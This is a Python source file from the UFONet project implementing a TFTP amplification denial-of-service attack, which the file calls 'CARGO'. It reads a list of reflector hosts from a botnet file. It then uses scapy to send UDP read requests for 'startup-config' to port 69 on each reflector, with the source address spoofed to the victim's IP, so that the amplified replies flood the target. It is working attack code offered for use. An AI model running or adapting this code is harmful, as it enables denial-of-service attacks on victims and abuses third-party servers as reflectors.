tftp.py 3.0 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. tftp_file = "botnet/tftp.txt"
  21. # UFONet TFTP Amplification (CARGO) - amp factor ~60x (RFC 1350, RRQ for known file)
  22. def cargoize(ip, rounds):
  23. n=0
  24. try:
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. reflectors, _empty, _all_placeholder = load_botnet_file(tftp_file)
  27. if _empty:
  28. print("[Error] [AI] [CARGO] botnet/tftp.txt is empty -> [Aborting!]")
  29. return
  30. if _all_placeholder:
  31. warn_placeholders("CARGO", tftp_file, kind="tftp")
  32. return
  33. payload = b'\x00\x01' + b'startup-config\x00' + b'netascii\x00'
  34. for x in range(int(rounds)):
  35. n += 1
  36. print("[Info] [AI] [CARGO] Hauling 'crate' ["+str(n)+"] across the dock! -> [SLOWING!]")
  37. for r in reflectors:
  38. try:
  39. sport = random.randint(2000, 65535)
  40. packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=69) / Raw(load=payload)
  41. send(packet, verbose=0)
  42. print("[Info] [AI] [CARGO] Hauled 'crate' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  43. except:
  44. print("[Info] [AI] [CARGO] Hauled 'crate' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  45. except:
  46. print("[Error] [AI] [CARGO] Failing to engage... -> Is still target online? -> [Checking!]")
  47. class TFTP(object):
  48. def attacking(self, target, rounds):
  49. print("[Info] [AI] TFTP Amplification (CARGO) is ready to fire: [", rounds, "crates ]")
  50. if target.startswith('http://'):
  51. target = target.replace('http://','')
  52. elif target.startswith('https://'):
  53. target = target.replace('https://','')
  54. try:
  55. ip = socket.gethostbyname(target)
  56. except:
  57. try:
  58. import dns.resolver
  59. r = dns.resolver.Resolver()
  60. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  61. url = urlparse(target)
  62. a = r.resolve(url.netloc, "A")
  63. for rd in a:
  64. ip = str(rd)
  65. except:
  66. ip = target
  67. if ip == "127.0.0.1" or ip == "localhost":
  68. print("[Info] [AI] [CARGO] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  69. return
  70. cargoize(ip, rounds)